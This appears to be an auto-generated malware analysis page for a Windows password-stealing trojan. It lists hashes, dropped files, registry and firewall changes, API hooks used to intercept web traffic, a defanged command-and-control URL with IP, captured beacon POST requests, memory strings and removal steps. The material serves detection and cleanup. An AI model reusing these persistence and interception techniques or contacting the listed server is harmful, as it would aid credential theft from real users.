Gen.Variant.Kazy.65927_e66742a4a5

by malwarelabrobot on March 16th, 2015 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Kazy.65927 (B) (Emsisoft), Gen:Variant.Kazy.65927 (AdAware), GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: e66742a4a530d0ea475dac1164ac5866
SHA1: 973ac25dc459131311321541baa1eccb4795dc35
SHA256: 5feacc71376a3f54a2745145e1b9dfe091b79c0c35dae152bc630b814003df59
SSDeep: 3072:DewIxvwQqmyyJFOcrqi/2sNTa2hAkJo1moaAA77:KwGomyyzPqGc6Jl5
Size: 144384 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2011-04-20 10:10:25
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ucvayh.exe:1128
%original file name%.exe:1360

The Trojan injects its code into the following process(es):

Explorer.EXE:888

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:1360 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmpe5806b73.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Zufifee\ucvayh.exe (144 bytes)

Registry activity

The process ucvayh.exe:1128 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "D3 72 41 9E F7 77 E0 93 6E A0 96 CE 89 53 0E B5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:1360 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6A 03 CF E0 A2 0D 13 9A B1 6A 58 C7 17 5A 82 30"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Raarb]
"Maydlec" = "FE 90 DE EC 1C D8 E1 41 91 27 2F F3 27 E1 43 6A"

Adds a rule to the firewall Windows which allows any network activity:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\%windir%]
"explorer.exe" = "%windir%\explorer.exe"

The Trojan adds process executable file it works in to the list of trusted Windows Firewall applications:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%windir%]
"explorer.exe" = "%windir%\explorer.exe"

Dropped PE files

MD5 File path
45a28b76fca4151f429b9a118e4fa8c1 c:\Documents and Settings\"%CurrentUserName%"\Application Data\Zufifee\ucvayh.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetQueryDataAvailable
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 9359 9728 4.0957 3561960fd2dde85012f4f11590ab4143
.align 16384 127387 1536 2.71533 d414fcff33ca28ac5ceccc35d4920c27
.date 147456 99 512 0.885997 41e749b250a5d9ae39612bf919b64d9d
.dati 151552 6002 6144 3.81495 27c3ad844bdc0bccbf5d201f123b8013
.char 159744 632 1024 2.133 a8ff5532616c1c2d529b046086e6b957
.odata 163840 13517 13824 4.65902 3c6bf5b63b1e953eee372e232722b9fe
.data 180224 1660 2048 3.87708 5e0c97e42c9f4c097f0a5ba0bba0c7ae
.rsrc 184320 106288 106496 4.9507 50423c77300e27ed9848b998fef141d8
.reloc 290816 1584 2048 3.998 2a11379fb38487f904fbd9de1c2d0bfc

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://biotehnologra.com/sdw/refzq.php 82.165.37.26


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:23 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:34 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:39 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:40 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:23 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:29 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....



POST /sdw/refzq.php HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: biotehnologra.com
Content-Length: 62
Cache-Control: no-cache

#..es.'f6-wlW.$w....&..,...."..#[email protected]...
HTTP/1.1 404 Not Found
Server: nginx/1.6.2
Date: Sat, 14 Mar 2015 23:20:34 GMT
Content-Type: text/html
Content-Length: 570
Connection: close
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx/1.6.
2</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->....

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_888_rwx_01EA0000_00027000:

.text
`.data
.reloc
<=&" (2.  1
6 !26!1'1!
.' 6,7* 9&0
7307#163
5("15"2$2
.( 8&<&6#
3.$73$4"4
?23<2?? 
-/."%1-$$:
;&,?;,<*<'
34!9#."9=
F{qbfqawAQv}kwhucp[Ootfpci{.Lp{fZFRDm`A[K]\G
hXXp://
hXXps://
PR_OpenTCPSocket
*.jpg*|*.js*|*.css*|*.gif*|*.png*|*.ico*
HTTP/1.1
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Content-Type: application/x-www-form-urlencoded
urlmon.dll
cabinet.dll
PSSSSSSh
SSSh@
GetProcessHeap
KERNEL32.dll
MapVirtualKeyW
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
ExitWindowsEx
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
HttpSendRequestA
InternetCrackUrlA
HttpOpenRequestA
HttpAddRequestHeadersA
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
WININET.dll
OLEAUT32.dll
NETAPI32.dll
L<_Z%f
3%3S3
nspr4.dll
e.dat
SysShadow
kernel32.dll
"%s" %s
/c "%s"
%sx.%s
%sx
cGlobal\XXX
Global\{942A7AB1-F1ED-28DF-6698-831BEACF4A03}
%Documents and Settings%\%current user%\Application Data\Ytih\etemap.ave
%Documents and Settings%\%current user%\Application Data\Ytih
etemap.ave
%Documents and Settings%\%current user%\Application Data
{EB494EA2-C5FE-57BC-6698-831BEACF4A03}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ucvayh.exe:1128
    %original file name%.exe:1360

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\tmpe5806b73.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Zufifee\ucvayh.exe (144 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now